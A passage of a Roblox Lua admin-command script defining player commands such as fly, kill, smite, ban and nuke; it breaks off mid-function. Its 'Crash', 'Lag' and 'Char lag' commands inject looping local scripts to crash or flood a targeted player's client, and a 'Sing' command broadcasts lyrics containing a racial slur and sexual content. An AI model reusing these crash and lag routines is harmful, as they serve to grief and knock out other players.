  3192. Max=tonumber(Msg:sub(Split+1))
  3193. else
  3194. Max=3
  3195. Players=ICE.GetPlayers(Msg,Speaker)
  3196. end
  3197. for i,Player in pairs(Players) do
  3198. Player.Chatted:connect(function(Msg)
  3199. AddWarning(Player)
  3200. if GetWarnings(Player) == 0 then
  3201. Player:Destroy();
  3202. else
  3203. local WarningHint=Instance.new('Message');
  3204. WarningHint.Name='WarningHint'
  3205. pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);
  3206. WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for talking before being kicked'
  3207. WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
  3208. wait(3)
  3209. WarningHint.Parent=nil
  3210. end
  3211. end)
  3212. end
  3213. end
  3214. )
  3215. ICE.Command('Fly','fly',2,'Makes #Player Fly #Studs high','<Player><Studs>',
  3216. function(Msg,Speaker)
  3217. Players={};
  3218. Split=Msg:find(ICE.Bets[2])
  3219. if Split then
  3220. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  3221. else
  3222. Players=ICE.GetPlayers(Msg,Speaker)
  3223. end
  3224. for _,v in pairs(Players) do
  3225. coroutine.wrap(function()
  3226. local Meter=0
  3227. if Split then
  3228. if tonumber(Msg:sub(Split+1)) then
  3229. Meter=tonumber(Msg:sub(Split+1))
  3230. else
  3231. Meter=300
  3232. end
  3233. else
  3234. Meter=300
  3235. end
  3236. End=false;-- End flying
  3237. coroutine.wrap(function()
  3238. repeat
  3239. if v.Character and v.Character:findFirstChild'Torso' then
  3240. local Vect=Vector3.new();
  3241. local Cur=v.Character.Torso.Position
  3242. v.Character.Torso.Anchored=true
  3243. Vect=Vector3.new(Cur.x,Cur.y + 0.1,Cur.z)
  3244. v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
  3245. if v.Character.Torso.CFrame.y>=Meter then End=true end;
  3246. end
  3247. wait()
  3248. until End==true
  3249. pcall(function() v.Character.Torso.Anchored=false end)
  3250. end)()
  3251. v.CharacterAdded:connect(function(v) if End==false then End=true end end)
  3252. end)()
  3253. end
  3254. end
  3255. )
  3256. ICE.Command('Skyfall','sfall',2,'Makes #Player skyfall','#Player',
  3257. function(Msg,Speaker)
  3258. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3259. pcall(function()
  3260. vChar=v.Character;
  3261. vTorso=vChar.Torso;
  3262. vTorso.CFrame=CFrame.new(vTorso.CFrame.x,9999,vTorso.CFrame.z)
  3263. wait()
  3264. vTorso.CanCollide=false
  3265. end)
  3266. end
  3267. end
  3268. )
  3269. ICE.Command("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3270. function(Msg,Speaker)
  3271. for _,v in pairs(ICE.Services.Workspace:children()) do
  3272. if Prometheus ~= nil then
  3273. if v ~= Prometheus.script("lushmylife") then
  3274. pcall(function()
  3275. v:Destroy()
  3276. end)
  3277. end
  3278. else
  3279. pcall(function()
  3280. v:Destroy()
  3281. end)
  3282. end
  3283. end
  3284.  
  3285. local Base=Instance.new("Part",ICE.Services.Workspace)
  3286. Base.Name='Base'
  3287. Base.Size=Vector3.new(2048,1,2048)
  3288. Base.BrickColor=BrickColor.new("Dark green")
  3289. Base.Anchored=true
  3290. Base.Locked=true
  3291. Base.TopSurface='Studs'
  3292. Base.Transparency = 0
  3293. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3294. local Spawn=Instance.new("SpawnLocation",ICE.Services.Workspace) Spawn.Name='SpawnLocation'
  3295. Spawn.Size=Vector3.new(6,1,6)
  3296. Spawn.Transparency=1
  3297. Spawn.CanCollide=false
  3298. Spawn.Anchored=true
  3299. Spawn.Locked=true
  3300. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3301. for _,v in pairs(ICE.GetPlayers()) do
  3302. v:LoadCharacter()
  3303. end
  3304.  
  3305. end
  3306. )
  3307. ICE.Command('Brick kill','bkill',2,'Kills #PLayer with a brick','#Player',
  3308. function(Msg,Speaker)
  3309. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3310. local Funcs={
  3311. {Func=function(v) v:BreakJoints(); end};
  3312. {Func=function(v) Expl=Instance.new'Explosion' Expl.Parent=v Expl.Position=v.Position end};
  3313. {Func=function(v) v:BreakJoints(); Instance.new'Fire'.Parent=v; Instance.new'Sparkles'.Parent=v end};
  3314. }
  3315. coroutine.wrap(function()
  3316. local Part=Instance.new'Part'
  3317. local Event=math.random(1,3)
  3318. local Size=Vector3.new(4,4,4)
  3319. local Head=v.Character.Head
  3320. Model=Instance.new'Model'
  3321. Model.Parent=Head.Parent--v.Character
  3322. Part.Size=Size;
  3323. Part.BrickColor=BrickColor.random()
  3324. Color=Part.Color
  3325. local SelectionBox=Instance.new'SelectionBox'
  3326. SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
  3327. local BillBoard=Instance.new'BillboardGui'
  3328. BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BillboardGui',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
  3329. local Label=Instance.new'TextLabel'
  3330. Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label','',Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
  3331. Spot=Instance.new'PointLight'
  3332. Spot.Brightness=1/0
  3333. Spot.Range=30
  3334. if game.Lighting.GlobalShadows==true and game.Lighting.Ambient==Color3.new(0,0,0) or game.Lighting.Ambient==Color3.new(-1,-1,-1) then
  3335. Spot.Parent=Part
  3336. end
  3337. Part.Touched:connect(function(Hit)
  3338. if Hit:IsDescendantOf(v.Character) then
  3339. Funcs[Event].Func(Hit)
  3340. end
  3341. end)
  3342. Part.Parent=Model
  3343. Part.CFrame=CFrame.new(Head.Position + Vector3.new(0,20,0))
  3344. Part.Anchored=true
  3345. for i=1,20,0.1 do
  3346. Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
  3347. if 15-i >= 0 then
  3348. Label.Text='You have ' .. 15-i .. ' seconds to live =3'
  3349. end
  3350. Spot.Color=Color3.new(math.random(),math.random(),math.random())
  3351. SelectionBox.Color=BrickColor.new(Spot.Color)
  3352. Part.Color=Spot.Color
  3353. wait()
  3354. end
  3355. Label.Text='You have died ;)'
  3356. for i=1,10,0.1 do
  3357. wait()
  3358. if v.Character==nil or v.Character.Parent==nil then
  3359. break
  3360. end
  3361. Part.CFrame=CFrame.new(Head.Position + (Vector3.new(0,20,0) - Vector3.new(0,i,0)) )
  3362. end
  3363. end)()
  3364. end
  3365. end
  3366. )
  3367. ICE.Command('Fall','Fall',2,'Makes #Player Fall #Studs high','<Player><Studs>',
  3368. function(Msg,Speaker)
  3369. Players={};
  3370. Split=Msg:find(ICE.Bets[2])
  3371. if Split then
  3372. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  3373. else
  3374. Players=ICE.GetPlayers(Msg,Speaker)
  3375. end
  3376. for _,v in pairs(Players) do
  3377. coroutine.wrap(function()
  3378. local Meter=0
  3379. if Split then
  3380. if tonumber(Msg:sub(Split+1)) then
  3381. Meter=tonumber(Msg:sub(Split+1))
  3382. else
  3383. Meter=-300
  3384. end
  3385. else
  3386. Meter=-300
  3387. end
  3388. if Meter > 0 then
  3389. Meter=Meter-Meter-Meter;
  3390. end
  3391. End=false;-- End flying
  3392. coroutine.wrap(function()
  3393. repeat
  3394. if v.Character and v.Character:findFirstChild'Torso' then
  3395. local Vect=Vector3.new();
  3396. local Cur=v.Character.Torso.Position
  3397. v.Character.Torso.Anchored=true
  3398. v.Character.Torso.CanCollide=false
  3399. Vect=Vector3.new(Cur.x,Cur.y - 0.1,Cur.z)
  3400. v.Character.Torso.CFrame=CFrame.new(Vect) * CFrame.Angles(0,0,0)
  3401. if v.Character.Torso.CFrame.y<=Meter then End=true end;
  3402. end
  3403. wait()
  3404. until End==true
  3405. pcall(function() v.Character.Torso.Anchored=false v.Character.Torso.CanCollide=true end)
  3406. end)()
  3407. v.CharacterAdded:connect(function(v) if End==false then End=true end end)
  3408. end)()
  3409. end
  3410. end
  3411. )
  3412. ICE.Command('Kick phrase','kpchat',2,'Kicks a player for chatting a term','#Player',
  3413. function(Msg,Speaker)
  3414. local Warnings={}
  3415. local Max=4
  3416. local Players={};
  3417. local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
  3418. local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
  3419. local Split=Msg:find(ICE.Bets[2]) or nil
  3420. local Phrase=""
  3421. if Split then
  3422. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  3423. Phrase=tostring(Msg:sub(Split+1))
  3424. else
  3425. Max=3
  3426. Players=ICE.GetPlayers(Msg,Speaker)
  3427. end
  3428.  
  3429. for i,Player in pairs(Players) do
  3430. AddWarning(Player)
  3431. wait()
  3432. Player.Chatted:connect(function(Msg)
  3433. if Msg:find(Phrase) then
  3434. AddWarning(Player)
  3435. if GetWarnings(Player) == 0 then
  3436. Player:Destroy();
  3437. else
  3438. local WarningHint=Instance.new('Message');
  3439. WarningHint.Name='WarningHint'
  3440. pcall(function() Player.PlayerGui.WarningHint:Destroy(); end);
  3441. WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for saying ' .. Phrase .. ' before being kicked'
  3442. WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)
  3443. wait(3)
  3444. WarningHint.Parent=nil
  3445. end
  3446. end
  3447. end)
  3448. end
  3449. end
  3450. )
  3451. ICE.Command('Loopkill','lk',2,'Loopkills #Player','#Player',
  3452. function(Msg,Speaker)
  3453. for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3454. ICE.Loopkilled[v.Name]=true
  3455. end
  3456. end
  3457. )
  3458. ICE.Command('Un-Loopkill','unlk',2,'Un-Loopkills #Player','#Player',
  3459. function(Msg,Speaker)
  3460. for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3461. ICE.Loopkilled[v.Name]=false
  3462. end
  3463. end
  3464. )
  3465. ICE.Command('Explode','expl',2,'Explodes #Player','#Player',
  3466. function(Msg,Speaker)
  3467. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3468. local Expl=Instance.new'Explosion'
  3469. Expl.Parent=v.Character
  3470. --pcall(function()
  3471. Expl.Position = v.Character.Torso.Position
  3472. Expl.BlastRadius=100
  3473. --end)
  3474. end
  3475. end
  3476. )
  3477. ICE.Command('Smite','smite',2,'Smites #Player','#Player',
  3478. function(Msg,Speaker)
  3479. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3480. for _,i in pairs(v.Character:children()) do
  3481. if i:IsA'BasePart' then
  3482. local Sparkles = Instance.new("Sparkles",i)
  3483. Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
  3484. local Ex = Instance.new("Explosion",ICE.Services.Workspace)
  3485. Ex.Position = i.Position
  3486. Ex.BlastPressure = 1e105
  3487. i:BreakJoints()
  3488. i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
  3489. coroutine.wrap(function()
  3490. for b=1,5,0.5 do
  3491. i.Size=Vector3.new(b,b,b)
  3492. wait(0.01)
  3493. end
  3494. end)()
  3495. end
  3496. end
  3497. local Base=Instance.new'Part'
  3498. pcall(function()
  3499. Base.Size=Vector3.new(5,1,3)
  3500. Base.Color=Color3.new(BrickColor.new'Bright yellow')
  3501. Base.Anchored=true
  3502. Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
  3503. coroutine.wrap(function()
  3504. for i=0,1,0.1 do
  3505. Base.Transparency=i
  3506. wait()
  3507. end
  3508. Base:Destroy()
  3509. end)()
  3510. end)
  3511. end
  3512. end
  3513. )
  3514. ICE.Command('Force field','ff',2,'Gives #Player a forcefield','#Player',
  3515. function(Msg,Speaker)
  3516. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3517. ICE.OnChatted(ICE.Bets[1]..'unff'..ICE.Bets[2]..v.Name,Speaker,true)
  3518. local Force=Instance.new'ForceField'
  3519. Force.Parent=v.Character
  3520. end
  3521. end
  3522. )
  3523. ICE.Command('Un forcefield','unff',2,'Removes #Players forcfields','#Player',
  3524. function(Msg,Speaker)
  3525. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3526. for i,s in pairs(v.Character:children()) do
  3527. if s:IsA'ForceField' then
  3528. s:Destroy()
  3529. end
  3530. for ii,ss in pairs(s:children()) do
  3531. if ss:IsA'ForceField' then
  3532. ss:Destroy()
  3533. end
  3534. end
  3535. end
  3536. end
  3537. end
  3538. )
  3539. ICE.Command('Build tools','btools',2,'Gives #Playr btools','#Playr',
  3540. function(Msg,Spkr)
  3541. for _,v in pairs(ICE.GetPlayers(Msg,Spkr)) do
  3542. for i=1,4 do
  3543. local B=Instance.new'HopperBin'
  3544. B.BinType=i
  3545. B.Parent=v.Backpack
  3546. end
  3547. end
  3548. end
  3549. )
  3550. ICE.Command('Damage','dmg',2,'Makes a player take #Damage','#Damage',
  3551. function(Msg,Speaker)
  3552. Damage,Players=nil,{};
  3553. Split=Msg:find(ICE.Bets[2])
  3554. Players=ICE.GetPlayers(Msg:sub(1,Split-1))
  3555. Damage=tonumber(Msg:sub(Split+1))
  3556. for i,v in pairs(Players) do
  3557. v.Character.Humanoid:TakeDamage(Damage)
  3558. end
  3559. end
  3560. )
  3561. --[[ Rank 3 ]]--
  3562. ICE.Command('Crash','crash',3,'Crashes #PLayer','#Player',
  3563. function(Msg,Speaker)
  3564. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3565. if newLocalScript then
  3566. newLocalScript([[
  3567. script.Parent=nil
  3568. while wait() do
  3569. ICE.Services.Players.LocalPlayer.Parent=nil
  3570. wait()
  3571. ICE.Services.Players.LocalPlayer.Parent=ICE.Services.Players
  3572. end]],
  3573. v:findFirstChild'Backpack' or v.Character)
  3574. else
  3575. loadstring([[
  3576. local Player = ICE.Services.Players:findFirstChild']]..v.Name..[['
  3577. repeat wait() until Player:findFirstChild'PlayerGui'
  3578. local Value=Instance.new'StringValue'
  3579. Value.Parent=Player:findFirstChild'PlayerGui'
  3580. Value.Value=("Yerrrp"):r]]..[[ep(1000000)]]
  3581. )()
  3582. end
  3583. end
  3584. end
  3585. )
  3586. ICE.Command('Antikill','ak',3,'Antikills a player','Player',
  3587. function(Msg,Speaker)
  3588. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3589. coroutine.wrap(function()
  3590. local String=Instance.new'StringValue'
  3591. String.Name,String.Parent='Stop'..v.Name,ICE.Services.Lighting
  3592. wait()
  3593. String:Destroy();
  3594. local Last=CFrame.new(0,0,0);
  3595. local Started=false;
  3596. local Player=ICE.Services.Players:findFirstChild(v.Name)
  3597. local End=false
  3598. Player.CharacterAdded:connect(function()
  3599. if End == false then
  3600. repeat
  3601. wait()
  3602. until Player.Character
  3603. Char=Player.Character
  3604. Humanoid=Char:findFirstChild'Humanoid'
  3605. Torso=Char:findFirstChild'Torso'
  3606. if Started then
  3607. Torso.CFrame=Last
  3608. end
  3609. Humanoid.Died:connect(function()
  3610. Last=CFrame.new(Torso.Position)
  3611. Started=true
  3612. Player:LoadCharacter();
  3613. end)
  3614. end
  3615. end)
  3616. repeat
  3617. wait()
  3618. if ICE.Services.Lighting:findFirstChild('Stop'..Player.Name) or ICE.Removed==true then
  3619. End=true
  3620. end
  3621. until End==true or ICE.Removed==true
  3622. end)()
  3623. end
  3624. end
  3625. )
  3626. ICE.Command('Remove antikill','remak','Removes an antikill a player has','Player',
  3627. function(Msg,Speaker)
  3628. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3629. Stop=Instance.new'StringValue'
  3630. coroutine.wrap(function() Stop.Value="true" Stop.Name='Stop'..v.Name Stop.Parent=ICE.Services.Lighting wait(1) Stop:Destroy() end)()
  3631. end
  3632. end
  3633. )
  3634. ICE.Command('Spawn smite','spsmite',3,'Spawn smites #Player','#Player',
  3635. function(Msg,Speaker)
  3636. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3637. v.CharacterAdded:connect(function()
  3638. coroutine.wrap(function()
  3639. Bet,Bet2=ICE.Bets[1],ICE.Bets[2]
  3640. ICE.OnChatted(Bet..'smite'..Bet2..v.Name,Speaker,true)
  3641. end)()
  3642. end)
  3643. end
  3644. end
  3645. )
  3646. ICE.Command('Obliterate','obl',3,'Obliterates #Player','#Player',
  3647. function(Msg,Speaker)
  3648. for i,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3649. for _,Part in pairs(v.Character:children()) do
  3650. coroutine.wrap(function()
  3651. if Part:IsA'BasePart' then
  3652. local Cube = Instance.new'Part'
  3653. Cube.FormFactor = 'Custom'
  3654. Cube.Size = Vector3.new(5,5,5)
  3655. Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3656. Cube.Anchored = false
  3657. Cube.CanCollide = true
  3658. Cube.Locked = true
  3659. Cube.Friction = 0
  3660. Cube.Transparency= 0
  3661. Cube.Reflectance = 0.5
  3662. Cube:BreakJoints()
  3663. Cube.Touched:connect(function(Hit)
  3664. if Hit:IsDescendantOf(v.Character) then
  3665. local Expl=Instance.new'Explosion'
  3666. Expl.Position=Hit.Position
  3667. Sparkles=Instance.new'Sparkles'
  3668. Fire=Instance.new'Fire'
  3669. Fire.Parent,Expl.Parent,Sparkles.Parent=Hit,Hit,Hit
  3670. Hit:BreakJoints();
  3671. game:service'Debris':AddItem(Cube,2)
  3672. end
  3673. end)
  3674. local Body=Instance.new'BodyPosition'
  3675. Body.Parent=Cube
  3676. Cube.Parent=game.Workspace
  3677. Body.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3678. Body.position=Vector3.new(0,50,0)
  3679. coroutine.wrap(function()
  3680. for i=1,50 do
  3681. Body.position=Vector3.new(Part.Position.x,50-i,Part.Position.z)
  3682. wait()
  3683. end
  3684. end)()
  3685. game:service'Debris':AddItem(Cube,10)
  3686. end
  3687. end)()
  3688. end
  3689. end
  3690. end
  3691. )
  3692. ICE.Command('Sing','sing',3,'Makes #Player Sing','@Player',
  3693. function(Msg,Speaker)
  3694. for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3695. coroutine.wrap(function()
  3696. Tab={
  3697. "Yall ride 18's we ride 26's";
  3698. "Big truck Big wheels rollin ova ditches";
  3699. "Crome rims loud pipes heated like a kitchen ";
  3700. "Ice chain Ice watch gettin at these bitches";
  3701. "Yall ride 18's we ride 26's";
  3702. "Big truck Big wheels rollin ova ditches";
  3703. "Crome rims loud pipes heated like a kitchen ";
  3704. "Ice chain Ice watch gettin at these bitches";
  3705. "Im the wrong balla to flex with";
  3706. "Diamond stud earings and neckless";
  3707. "And my truck on 26's driving reckless";
  3708. "Got a pound yep and on my way to texas";
  3709. "yep im on there trowing up my set shit";
  3710. "Spinnas with the color trim ho's breathless";
  3711. "Paint shinning brite like morning breakfast";
  3712. "Once i slide up in the party pull the best bitch";
  3713. "Yo chick still want me even though she pregnant";
  3714. "Run game on a trick like check this";
  3715. "She seen the atm recipt and got wet with shit";
  3716. "She in a lexus told her park her whip";
  3717. "270 im bout to exit";
  3718. "I can bet a grip she work her hands and lips";
  3719. "Like a porno star who cares if her man a trip";
  3720. "I can handle it its so scandelous";
  3721. "I got them thing conpocky on a rubberband skinny";
  3722. "I pull up laughing at another man 20's (ha)";
  3723. "Yep the yunger man i run the dam city";
  3724. "I gotta pocket fulla hundreds fifty's rubberband 20's";
  3725. "Peep the shoes these is huge";
  3726. "Im probably on the service road nigga speeding in cruise";
  3727. "I bleed and bruise of reaching fools";
  3728. "So dont reach";
  3729. "u aint talking bout money then dont speak";
  3730. "Dont preach church don wan taught me that";
  3731. "The bitches had me gone but the money brought me back";
  3732. "Im seeing crome and i do them runs flat";
  3733. "President tent front back";
  3734. "Man i wish them old b p's come back but i roll on em";
  3735. "Hundrend spoke big d's tripple gold homie";
  3736. "No homie my rims aint twizzles";
  3737. "But dont get it twisted them is 26's";
  3738. "Song name: 26's by Chingy";
  3739. };
  3740. for i,v in pairs(Tab) do
  3741. game:service'Chat':Chat(Player.Character.Head,v,'Red')
  3742. wait(3)
  3743. end
  3744. end)()
  3745. end
  3746. end
  3747. )
  3748. --[[ Rank 4 ]]--
  3749. ICE.Command('Banish','ban',4,'Bans #Player','#Player',
  3750. function(Msg,Speaker)
  3751. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3752. ICE.Ranked[v.Name].Rank=-1
  3753. v:Destroy()
  3754. end
  3755. end
  3756. )
  3757. ICE.Command('Unban','unban',4,'Unbans Player','Player',
  3758. function(Msg,Speaker)
  3759. for i,v in pairs(ICE.Ranked) do
  3760. if i:lower():sub(1,#Msg)==Msg:lower() then
  3761. v.Rank=0
  3762. end
  3763. end
  3764. end
  3765. )
  3766. --[[ Rank 5 ]]--
  3767. ICE.Command('Lag','lag',5,'Lags #Player','#Player',
  3768. function(Msg,Speaker)
  3769. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3770. ICE.CreateLocalScript(
  3771. [[
  3772. script.Parent=nil
  3773. LocalPlayer = game:service'Players'.LocalPlayer
  3774. Camera=Workspace.CurrentCamera
  3775. LocalPlayer.CameraMode = Enum.CameraMode.Classic
  3776. wait()
  3777. function buildGui()
  3778. local guitable = {}
  3779.  
  3780. guitable['Output'] = Instance.new('ScreenGui')
  3781. guitable['Output'].Name = 'Output'
  3782.  
  3783. guitable['ImageLabel'] = Instance.new('ImageLabel', guitable['Output'])
  3784. guitable['ImageLabel'].Position = UDim2.new(0.11999998986721, 0, 0.14999996125698, 0)
  3785. guitable['ImageLabel'].Size = UDim2.new(0.89999997615814, 0, 0.30000001192093, 0)
  3786. guitable['ImageLabel'].BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
  3787. guitable['ImageLabel'].BackgroundTransparency = 1
  3788. guitable['ImageLabel'].Image = 'http://www.roblox.com/asset/?id=117512375'
  3789.  
  3790. return guitable['Output']
  3791. end
  3792. local GuiLag=buildGui()
  3793. coroutine.wrap(function()
  3794. for a=1,10 do wait()
  3795. coroutine.wrap(function()
  3796. for b=1,10 do wait()
  3797. for c=1,10 do
  3798. for d=1,10 do
  3799. Msg=Instance.new'Message'
  3800. Hint=Instance.new'Hint'
  3801. PG=game.Players.LocalPlayer:findFirstChild'PlayerGui' or Instance.new('PlayerGui',game.Players.LocalPlayer)
  3802. Msg.Parent,Hint.Parent,GuiLag:clone().Parent=Workspace,Workspace.CurrentCamera,PG or Camera
  3803. Msg.Text,Hint.Text=string.rep("\t ",365),string.rep("\t ",365)
  3804. -- Derpis()
  3805. if LocalPlayer.CameraMode ~= Enum.CameraMode.LockFirstPerson then LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson end
  3806. pcall(function() loadstring(script:FindFirstChild("Source").Value or script:FindFirstChild("source").Value or script:FindFirstChild("DSource").Value)() end)
  3807. end
  3808. end
  3809. end
  3810. end)()
  3811. end
  3812. end)()
  3813. ]],v.Character)
  3814. end
  3815. end
  3816. )
  3817. ICE.Command('Char lag','clag',5,'Char lags #Player','#Player',
  3818. function(Msg,Speaker)
  3819. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3820. pcall(function()
  3821. ICE.CreateLocalScript([=[
  3822. ICE={
  3823. ['Services']={};
  3824. };
  3825. for i,v in pairs(game:children()) do ICE.Services[v.Name]=v end
  3826. script.Parent=nil
  3827. NormalColor=Color3.new(BrickColor.random())
  3828. local LocalPlayer,Source,Camera,Workspace=ICE.Services.Players.LocalPlayer,script:children()[1],ICE.Services.Workspace.CurrentCamera,game:service'Workspace'
  3829. coroutine.wrap(function()
  3830. while wait() do
  3831. for a=1,100 do wait()
  3832. for aa=1,20 do wait()
  3833. for aaa=1,10 do wait()
  3834. for aaaa=1,5 do wait()
  3835. --for b=1,20 do wait()
  3836. -- for c=1,10 do wait()
  3837. -- for d=1,5 do wait()
  3838. -- for e=1,2 do wait()
  3839. -- local Msg=Instance.new'Message'
  3840. -- local Part=Instance.new'Part'
  3841. -- local Hint=Instance.new'Hint'
  3842. local Char=Instance.new'Model'
  3843. if ICE.Services.Players.LocalPlayer.Character==nil then ICE.Services.Players.LocalPlayer.Character=Instance.new'Model' end
  3844. for i,v in pairs(LocalPlayer.Character:children()) do v:Clone().Parent=Char end
  3845. Char:MakeJoints()
  3846. if LocalPlayer:findFirstChild'PlayerGui'==nil then Instance.new'PlayerGui'.Parent=LocalPlayer end
  3847. if Char.Archivable==true then Char.Archivable=false end
  3848. local Mod,Part,Color,Text=Char,Char.Head,NormalColor,"I'm being lagged!"
  3849. local BBG = Instance.new("BillboardGui",Mod)
  3850. BBG.Name = "BBG"
  3851. BBG.StudsOffset = Vector3.new(0,4.5,0)
  3852. BBG.Size = UDim2.new(10,0,10,0)
  3853. local Label = Instance.new("TextLabel",BBG)
  3854. Label.Name = "Label"
  3855. Label.Text = ""
  3856. Label.TextColor3 = Color3.new(-1,-1,-1)
  3857. Label.FontSize = "Size24"
  3858. Label.BackgroundTransparency = 1
  3859. Label.TextStrokeTransparency = 0.5
  3860. Label.Size = UDim2.new(1,0,1,0)
  3861. Label.TextStrokeColor3 = Color
  3862. local Sel=Instance.new'SelectionBox'
  3863. Sel.Name='Lag'
  3864. Sel.Parent=Char.Head
  3865. Sel.Adornee=Sel.Parent
  3866. Sel.Color=BrickColor.random()
  3867. -- Msg.Text='You bein lagged bish'
  3868. -- Hint.Text=Msg.Text
  3869. -- Part.Parent=Workspace.CurrentCamera
  3870. -- Msg.Parent=Workspace
  3871. -- Hint.Parent=Workspace
  3872. Char.Parent=workspace.CurrentCamera
  3873. Char:MakeJoints();
  3874. --[[ local GuiLag=Instance.new('ScreenGui')GuiLag = Instance.new("ScreenGui")
  3875. GuiLag.Name = "Output"
  3876. Blind = Instance.new("ImageButton", GuiLag)
  3877. Blind.Name = "Blind"
  3878. Blind.Position = UDim2.new(-0.10000000149012, 0, -0.10000000149012, 0)
  3879. Blind.Size = UDim2.new(1.1000000238419, 0, 1.1000000238419, 0)
  3880. Blind.BackgroundColor3 = Color3.new(0, 0, 0)
  3881. ImageLabel = Instance.new("ImageLabel", Blind)
  3882. ImageLabel.Position = UDim2.new(0.41999998688698, 0, 0.84999996423721, 0)
  3883. ImageLabel.Size = UDim2.new(0.20000000298023, 0, 0.10000000149012, 0)
  3884. ImageLabel.BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
  3885. ImageLabel.BackgroundTransparency = 1
  3886. ImageLabel.Image = "http://www.roblox.com/asset/?id=112875964"
  3887. TextLabel = Instance.new("TextLabel", Blind)
  3888. TextLabel.Position = UDim2.new(0.27000001072884, 0, 0.74000000953674, 0)
  3889. TextLabel.Size = UDim2.new(0.5, 0, 0.10000000149012, 0)
  3890. TextLabel.BackgroundColor3 = Color3.new(0.031372550874949, 0.031372550874949, 0.035294119268656)
  3891. TextLabel.Text = "Your Being Lagged"
  3892. TextLabel.FontSize = Enum.FontSize.Size36
  3893. TextLabel.TextWrapped = true
  3894. TextLabel.Active = true
  3895. GuiLag.Parent=ICE.Services.Players.LocalPlayer.PlayerGui
  3896. --]] LocalPlayer.CameraMode = Enum.CameraMode.Classic
  3897. wait()
  3898. LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
  3899. -- Instance.new("Message",Camera).Text = string.rep("\t ",365)
  3900. -- Instance.new('Hint',Camera).Text=("\t "):rep(365)
  3901. -- end
  3902. -- end
  3903. -- end
  3904. -- end
  3905. end
  3906. end
  3907. end
  3908. end
  3909. end
  3910. end)()
  3911. ]=],v.Character)
  3912. end)
  3913. end
  3914. end
  3915. )
  3916. ICE.Command("Nuke","nuke",5,"Nukes the selected player.","<Player>",
  3917. function(Msg,Speaker)
  3918. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3919. local Position = v.Character.Torso.Position
  3920. local Sound = Instance.new("Sound", workspace)
  3921. Sound.SoundId = "http://www.roblox.com/Asset/?id=2101159"
  3922. Sound.Volume = 1
  3923. Sound.Pitch = math.random(90, 110) / 100
  3924. Sound:Play()
  3925. local Sound = Instance.new("Sound", workspace)
  3926. Sound.SoundId = "http://www.roblox.com/Asset/?id=3087031"
  3927. Sound.Volume = 1
  3928. Sound.Pitch = math.random(90, 110) / 100
  3929. Sound:Play()
  3930. for i = 1, math.random(5, 7) do
  3931. local ExplosionBall = Instance.new("Part", game:service("Workspace"))
  3932. ExplosionBall.Name = "Explosion Ball"
  3933. ExplosionBall.formFactor = "Custom"
  3934. ExplosionBall.TopSurface = 0
  3935. ExplosionBall.BottomSurface = 0
  3936. ExplosionBall.Anchored = true
  3937. ExplosionBall.CanCollide = false
  3938. ExplosionBall.Size = Vector3.new(1, 1, 1)
  3939. ExplosionBall.BrickColor = BrickColor.random()
  3940. ExplosionBall.CFrame = CFrame.new(Position)
  3941. ExplosionBall.Touched:connect(function(part) if part:IsDescendentOf(v.Character) then part:BreakJoints() end end)
  3942. Instance.new("SpecialMesh", ExplosionBall).MeshType = "Sphere"
  3943. coroutine.wrap(function()
  3944. for i = 0, 1, 0.005 do
  3945. ExplosionBall.Transparency = (1 - i)
